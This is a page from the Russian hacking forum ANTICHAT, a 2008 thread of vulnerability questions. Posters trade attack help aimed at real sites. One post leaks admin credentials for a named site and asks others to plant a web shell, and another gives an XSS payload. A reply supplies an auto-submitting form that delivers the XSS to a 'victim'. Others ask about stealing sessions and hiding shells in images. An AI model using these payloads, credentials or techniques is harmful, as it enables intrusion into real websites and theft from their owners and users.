HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 326 из 2438 « Первая < 226276316 322 323 324 325 326 327 328 329 330 3363764268261326 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #3251  
Старый 09.09.2008, 21:04
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию
Grema
ua-foto.com/admin/ - admin:stepanov

немогу залить шелл) попробуйте..
 
Ответить с цитированием

  #3252  
Старый 09.09.2008, 21:57
dArKkNiGHt
Новичок
Регистрация: 18.08.2008
Сообщений: 8
С нами: 9331195

Репутация: 5
По умолчанию
не могу догнать что можно сделать:
нашёл xss в поиске,
Код:
"><script>alert(/xss/)</script>
показывает мне сообщение. форма поиска методом POST работает.
я так понимаю это пассивная xss и мне нужно каким-то образом заставить админа кликнуть на Поиск с моими параметрами?
какие ещё могут быть варианты применения данной дыры?
 
Ответить с цитированием

  #3253  
Старый 09.09.2008, 22:52
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию
посмотри , скорее всего в гете тоже есть полный вид запроса
Если нет, отлови ПОСТ запросы и попробуй через гет отправить
 
Ответить с цитированием

  #3254  
Старый 09.09.2008, 23:00
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
С нами: 9655526

Репутация: 1821


По умолчанию
Цитата:
Сообщение от dArKkNiGHt  
не могу догнать что можно сделать:
нашёл xss в поиске,
Код:
"><script>alert(/xss/)</script>
показывает мне сообщение. форма поиска методом POST работает.
я так понимаю это пассивная xss и мне нужно каким-то образом заставить админа кликнуть на Поиск с моими параметрами?
какие ещё могут быть варианты применения данной дыры?
Есть парочку показательных видео..что делать с пассивками как впаривать, и вообще как обращаться)
Гляньтут
 
Ответить с цитированием

  #3255  
Старый 09.09.2008, 23:02
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами: 11217866

Репутация: 3812


По умолчанию
PHP код:
<form name='wtf' method='post' action='http://site.ru/search.php'>
<input type='hidden' name='search' value='"><script>alert(/xss/)</script>'>
</form>
<script>wtf.submit();</script> 
правишь то что тебе надо, сохраняешь в .html и кидаешь ссылку на файл жертве
__________________
 
Ответить с цитированием

  #3256  
Старый 09.09.2008, 23:18
Karapuziko
Познающий
Регистрация: 20.01.2008
Сообщений: 47
С нами: 9635196

Репутация: 72
По умолчанию
Цитата:
Сообщение от +toxa+  
PHP код:
<form name='wtf' method='post' action='http://site.ru/search.php'>
<input type='hidden' name='search' value='"><script>alert(/xss/)</script>'>
</form>
<script>wtf.submit();</script> 
правишь то что тебе надо, сохраняешь в .html и кидаешь ссылку на файл жертве
Можно ли как то на JavaScript выдернуть сессию?
то есть не куки а сессию...?
 
Ответить с цитированием

  #3257  
Старый 10.09.2008, 02:50
Rejjin
Познающий
Регистрация: 20.07.2008
Сообщений: 94
С нами: 9373524

Репутация: 97
По умолчанию
Вот не могу понять, есть сайт http://www.wen.ru/ на нем есть форум. Шелл просто так не залить, для картинки просит урл. Можно ли сделать так. Залить картинку в которой будет либо шелл, либо редирект на урл с шеллом. И получится ли? А может есть какой то другой способ?
 
Ответить с цитированием

  #3258  
Старый 10.09.2008, 07:32
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию
Rejjin, чтобы шелл-картинка сработал надо иметь инклюд под рукой. Или он просто не выполница как пхп-код и всё.
 
Ответить с цитированием

  #3259  
Старый 10.09.2008, 16:09
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
С нами: 10254549

Репутация: 227
По умолчанию
забыл как называется данный движок.
Вот скрин админки:


кто знает - отпишитесть
 
Ответить с цитированием

  #3260  
Старый 10.09.2008, 22:47
.Striker
Участник форума
Регистрация: 11.11.2007
Сообщений: 260
С нами: 9736147

Репутация: 155
По умолчанию
o3,14um
cutenews
 
Ответить с цитированием
Ответ
Страница 326 из 2438 « Первая < 226276316 322 323 324 325 326 327 328 329 330 3363764268261326 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.